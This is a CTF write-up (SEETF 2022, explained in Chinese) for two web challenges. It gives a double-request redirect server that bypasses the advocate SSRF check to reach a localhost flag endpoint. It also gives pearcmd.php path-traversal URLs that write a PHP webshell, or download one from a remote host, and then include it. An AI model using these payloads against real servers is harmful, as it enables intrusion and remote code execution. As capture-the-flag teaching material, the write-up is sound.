2022SEETF
Super Secure Requests Forwarder
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from flask import Flask, request, render_template import os import advocate import requests
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST']) def index():
if request.method == 'POST': url = request.form['url']
try: advocate.get(url)
except: return render_template('index.html', error=f"The URL you entered is dangerous and not allowed.")
r = requests.get(url) return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/flag') def flag(): if request.remote_addr == '127.0.0.1': return render_template('flag.html', FLAG=os.environ.get("FLAG"))
else: return render_template('forbidden.html'), 403
if __name__ == '__main__': app.run(host="0.0.0.0", port=80, threaded=True)
|
在这里存在advocate对ssrf进行防御,需要本地的请求才能访问flag,但是在第二次的url请求中不会进行任何的防御手段,那么就可以对其传入一个不是ssrf的请求,绕过第一次的url请求,但是在第二次的请求中进行ssrf攻击
可以在本地开启一个python服务,在第一次申请的时候返回字符串,在第二次申请的时候返回重定向进行攻击
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from flask import Flask, redirect
app = Flask(__name__)
i = 0
@app.route('/') def index(): global i
if i == 0: i += 1 return 'No'
else: return redirect('http://127.0.0.1/flag')
if __name__ == '__main__': app.run(host="0.0.0.0", port=1337, threaded=True)
|
补充知识:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
from flask import Flask, redirect, url_for app = Flask(__name__) @app.route("/index_1") def index_1(): return redirect("t") @app.route("/index_2") def index_2(): return redirect(url_for("test")) @app.route("/index_3") def index_3(): return redirect("http://127.0.0.1:5000/t") @app.route("/t") def test(): print("test") return "test" if __name__ == '__main__': app.run(host="127.0.0.1", port=5000)
|
然后使用ngrok进行内网穿透,当然也可以用一台vps挂载服务到公网上
最后就可以返回最终的结果了
Sourceless Guessy Web
1 2 3 4 5 6 7 8 9 10 11
| //通过本地直接写入webshell,注意这里最好抓包然后用burpsuite或者直接curl执行,否则浏览器会将< ? > 转义 // config-create可以直接创建配置文件,且第一个参数必须以/开头 http://ip:port/include.php?f=pearcmd&+config-create+/<?=phpinfo();?>+/tmp/evil.php // 通过远程直接下载webshell // web目录可写 - http://ip:port/include.php?f=pearcmd&+install+-R+/var/www/html+http://ip:port/evil.php - http://ip:port/tmp/pear/download/evil.php // tmp目录可写 - http://ip:port/include.php?f=pearcmd&+install+-R+/tmp+http://ip:port/evil.php - http://ip:port/include.php?f=/tmp/pear/download/evil
|
找到pear.php的路径,然后写文件
1
| /?page=../../../../../../../../usr/local/lib/php/pearcmd.php&+config-create+/<?=system('/readflag');?>+/tmp/evil.php
|
最后访问文件即可
1
| /?page=../../../../../../../../tmp/evil.php
|
中间若是黑盒测试,使用$IFS绕过空格即可(ls$IFS/),可以得到根目录下的readflag